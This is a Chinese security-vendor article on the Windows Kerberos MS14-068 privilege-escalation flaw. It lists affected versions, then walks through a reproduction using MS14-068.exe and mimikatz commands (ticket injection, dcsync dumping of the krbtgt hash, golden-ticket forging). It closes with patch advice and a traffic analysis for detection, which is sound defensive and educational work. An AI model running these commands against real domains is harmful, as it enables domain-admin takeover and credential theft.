您当前的位置:首页 > 电脑百科 > 网络技术 > 网络安全

四步升至域管权限,Windows域提权漏洞需防护

时间:2022-03-29 09:58:22  来源:  作者:聚铭网络
四步升至域管权限,Windows域提权漏洞需防护

 

MS14-068漏洞可谓是威力无穷,在域渗透中,第一步就是应该检测域控是否有这个漏洞,一旦域控没有打上这个补丁,将会使内网渗透变得十分简单。对于内网安全问题,聚铭网络也一直进行跟踪守护,切实协助企业组织做好网络安全防护建设工作,规避安全风险。

一、漏洞描述

远程权限提升漏洞存在于Microsoft windows的Kerberos KDC实现中。存在该漏洞的症状是,Microsoft Kerberos KDC实现无法正确验证签名,这可能造成Kerberos服务票证的某些方面被人伪造。简单来说就是一个域内的普通账户可以利用此漏洞进行权限提升,升级为域管理员权限。

二、受影响版本

Microsoft Windows Windows Server 2012 GoldR2

Microsoft Windows Windows Server 2012 Gold

Microsoft Windows Windows 7 SP1

Microsoft Windows Vista SP2

Microsoft Windows Server 2012 R2

Microsoft Windows Server 2008 SP2

Microsoft Windows Server 2003 SP2

Microsoft Windows 8.1

Microsoft Windows 8

 

三、漏洞利用前提

域控没有打MS14-068补丁,攻击者拿下了一台域内的普通计算机并获得普通域用户以及密码/hash值以及用户suid。

四、漏洞复现

1.搭建环境

域控制器:windows 2008 r2域内主机:windows 7MS14-068.exemimikatz工具

2.漏洞利用

1)查看域控是否有MS14-068这个漏洞,利用命令systeminfo,查看是否打补丁(KB3011780),下图中没有看到打MS14-068相关漏洞的补丁。

四步升至域管权限,Windows域提权漏洞需防护

 

2)登陆域内主机利用whoami/all查看自己的用户名以及sid

四步升至域管权限,Windows域提权漏洞需防护

 

3)利用MS14-068.exe生成一个新的票据:MS14-068.exe -u user@domAIn -s sid -d域控ip -p密码(出现报错的话一般是密码错误)

四步升至域管权限,Windows域提权漏洞需防护

 

4)查看dir \域控计算机名称c$

四步升至域管权限,Windows域提权漏洞需防护

 

5)利用mimikatz先清除票据,再导入刚刚制作新的票据

(1) Kerberos::purge #清除票据

(2) Kerberos::list #列出票据

(3) Kerberos::ptc 票据位置 #导入票据

四步升至域管权限,Windows域提权漏洞需防护

 

6)复现成功。再次利用dir \域控计算机名称c$,发现提升到管理员权限,表明复现成功。

四步升至域管权限,Windows域提权漏洞需防护

 

7)黄金票据伪造

a.查看用户krbtgt的hash:

lsadump:dcsync /domain:域名 /all /csv

四步升至域管权限,Windows域提权漏洞需防护

 

查看用户的sid:

lsadump:dcsync /domain:域名 /user:krbtgt

四步升至域管权限,Windows域提权漏洞需防护

 

b.制造票据

Kerberos::golden /admin:system /domain:域名 /sid :.... /krbtgt:...(hash) /ticket:票据名称

四步升至域管权限,Windows域提权漏洞需防护

 

c.导入票据

Kerberos::purge

Kerberos::ptt 票据名称

四步升至域管权限,Windows域提权漏洞需防护

 

d.复现成功

利用dir \域控名称c$,出现目录,表示成功。

四步升至域管权限,Windows域提权漏洞需防护

 

五、修复方案

1. 升级补丁

与此同时,请及时做好自查和预防工作,以免遭受黑客攻击。

六、复现过程中的异常流量分析

1.正常流量

四步升至域管权限,Windows域提权漏洞需防护

 

2.异常流量分析

Client在发起认证请求时,通过设置include-PAC为False,则返回TGT中不会包含PAC。

  • AS-REQ身份认证阶段
四步升至域管权限,Windows域提权漏洞需防护

 

  • 票据授予阶段TGS-REQ
四步升至域管权限,Windows域提权漏洞需防护

 

  • 总结:正常和异常流量的区别在于pac的配置上的异常

异常流量在1.AS-REQ阶段终端设置了pac为false

正常流量在1.AS-REQ阶段终端设置了pac为true

异常流量在3.TGS-REQ阶段终端又多了一个pac的设置,且值为false

正常流量在3.TGS-REQ阶段终端没有关于pac 的设置



Tags:Windows域提权   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
四步升至域管权限,Windows域提权漏洞需防护
MS14-068漏洞可谓是威力无穷,在域渗透中,第一步就是应该检测域控是否有这个漏洞,一旦域控没有打上这个补丁,将会使内网渗透变得十分简单。对于内网安全问题,聚铭网络也一直进行...【详细内容】
2022-03-29  Search: Windows域提权  点击:(318)  评论:(0)  加入收藏
▌简易百科推荐
网络安全行业的春天何时来?
2023年下半年开始,网络安全从业人员都感受到了网安行业的寒冬,但是其实前奏并不是此刻,只是涉及到大量裁员关乎自身而人人感同身受。从近五年各个网络安全上市公司财报可以发现...【详细内容】
2024-04-11  兰花豆说网络安全    Tags:网络安全   点击:(8)  评论:(0)  加入收藏
数据可视化在网络安全中的关键作用
在当今数字化时代,网络安全已成为各大企业乃至国家安全的重要组成部分。随着网络攻击的日益复杂和隐蔽,传统的网络安全防护措施已难以满足需求,急需新型的解决方案以增强网络防...【详细内容】
2024-03-29  小嵩鼠    Tags:数据可视化   点击:(22)  评论:(0)  加入收藏
AI时代的网络安全:探索AI生成的网络攻击
译者 | 晶颜审校 | 重楼长期以来,网络攻击一直是劳动密集型的,需要经过精心策划并投入大量的人工研究。然而,随着人工智能技术的出现,威胁行为者已经成功利用它们的能力,以非凡的...【详细内容】
2024-03-27    51CTO  Tags:网络安全   点击:(17)  评论:(0)  加入收藏
详解渗透测试和漏洞扫描的开源自动化解决方案
译者 | 刘涛审校 | 重楼目录 什么是渗透测试 规划和侦察 扫描 开发和获得访问权限 维持访问权 报告和控制 什么是漏洞扫描 渗透测试工具 渗透测试的自动化 渗透自动化工作流...【详细内容】
2024-02-27    51CTO  Tags:渗透测试   点击:(35)  评论:(0)  加入收藏
如何保护你的电脑不受黑客攻击
在数字时代,网络安全已经成为每个人必须关注的重要问题。黑客攻击、数据泄露和网络犯罪等事件频频发生,使得我们的个人隐私和财产安全面临严重威胁。那么,如何保护你的电脑不受...【详细内容】
2024-02-04  佳慧慧    Tags:黑客攻击   点击:(55)  评论:(0)  加入收藏
2024年需要高度关注的六大网络安全威胁
译者 | 晶颜审校 | 重楼创新技术(如生成式人工智能、无代码应用程序、自动化和物联网)的兴起和迅速采用,极大地改变了每个行业的全球网络安全和合规格局。网络犯罪分子正在转向...【详细内容】
2024-01-03    51CTO  Tags:网络安全威胁   点击:(112)  评论:(0)  加入收藏
终端设备通信网络安全防护方案
终端设备的网络安全是一个综合性问题,需要用户、组织和厂商共同努力,采取一系列的措施来保护终端设备的安全。终端设备网络安全防护方案主要包括以下几个方面:1. 强化用户身份...【详细内容】
2024-01-01  若水叁仟    Tags:网络安全   点击:(58)  评论:(0)  加入收藏
深入解析802.1X认证:网络安全的守护者
802.1X认证,对于很多人来说,可能只是一个陌生的技术名词。然而,在网络安全的领域中,它却扮演着守护者的角色。今天,我们就来深入解析802.1X认证,看看它是如何保护我们的网络安全的...【详细内容】
2023-12-31  韦希喜    Tags:网络安全   点击:(70)  评论:(0)  加入收藏
提升网络安全:ADSelfService Plus多重身份验证的关键
在当今数字化的时代,网络安全问题愈发突出,企业和组织面临着日益严峻的挑战。为了应对不断进化的网络威胁,越来越多的组织开始采用多层次的安全措施,其中多重身份验证成为了关键...【详细内容】
2023-12-27  运维有小邓    Tags:网络安全   点击:(88)  评论:(0)  加入收藏
企业如何应对网络钓鱼攻击的激增?
随着我们进入数字时代,网络犯罪的威胁继续以惊人的速度增长。在最流行的网络犯罪形式中,网络钓鱼仅在过去一年就出现了472%的攻击激增。企业在保护自己及其客户免受网络钓鱼诈...【详细内容】
2023-12-19    千家网  Tags:钓鱼攻击   点击:(89)  评论:(0)  加入收藏
相关文章
    无相关信息
站内最新
站内热门
站内头条